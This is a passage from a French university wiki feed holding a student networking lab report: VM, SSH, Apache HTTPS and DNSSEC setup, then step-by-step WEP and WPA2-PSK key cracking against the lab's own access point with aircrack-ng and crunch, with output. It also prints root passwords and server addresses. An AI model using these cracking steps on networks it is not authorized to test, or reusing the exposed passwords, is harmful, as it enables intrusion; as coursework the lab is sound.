   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:---sites%C3%A9curis%C3%A9.png&amp;diff=51599</id>
		<title>Fichier:---sitesécurisé.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:---sites%C3%A9curis%C3%A9.png&amp;diff=51599"/>
				<updated>2019-12-07T12:57:23Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : Fcavalie a téléversé une nouvelle version de Fichier:---sitesécurisé.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Site web avec certificat le petit cadenas vert ! On est safe :D&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51598</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51598"/>
				<updated>2019-12-07T12:56:14Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Aperçu site web ima2a5-zerofun.site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
